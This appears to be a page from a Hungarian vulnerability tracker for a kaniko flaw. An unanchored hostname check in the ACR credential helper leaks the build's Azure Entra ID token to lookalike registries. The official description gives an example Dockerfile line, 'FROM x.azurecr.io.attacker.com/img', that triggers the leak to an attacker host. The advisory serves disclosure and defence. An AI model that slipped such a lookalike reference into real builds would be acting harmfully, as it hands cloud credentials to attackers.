sadrobot

← Vissza a havi listához

CVE-2026-105769 chainguard · kaniko

9.3 Kritikus

MI-összefoglaló

A kaniko 1.25.20 előtti verziói az ACR hitelesítő segéd hibás hosztnév-ellenőrzése miatt a build Azure identitásának Entra ID tokenjét támadó által irányított, ACR-hez hasonló nevű registry-nek küldhetik el, ha a Dockerfile ilyen képre hivatkozik. A támadó a tokennel az identitás jogosultságaival érheti el az Azure Resource Managert és ACR registry-ket. Kritikus (CVSS 9.3), javítva az 1.25.20-ban.

Hivatalos leírás

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Megjelent
2026-11-02 17:17 UTC
Módosítva
2026-11-02 19:34 UTC
CVSS
9.3 Kritikus CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
EPSS
0.23% (percentilis 9)
ENISA EUVD
EUVD-2026-115331
CISA SSVC
Kihasználás: none · Automatizálható: no · Technikai hatás: total
CWE
CWE-346
Kategória
Identitás és hozzáférés

CVSS-vektor

Támadási útvonal
hálózatról
Bonyolultság
alacsony
Szükséges jogosultság
nem kell
Felhasználói közreműködés
kell
Hatókör
változik
Bizalmasság
magas
Sértetlenség
magas
Rendelkezésre állás
nincs

Hivatkozások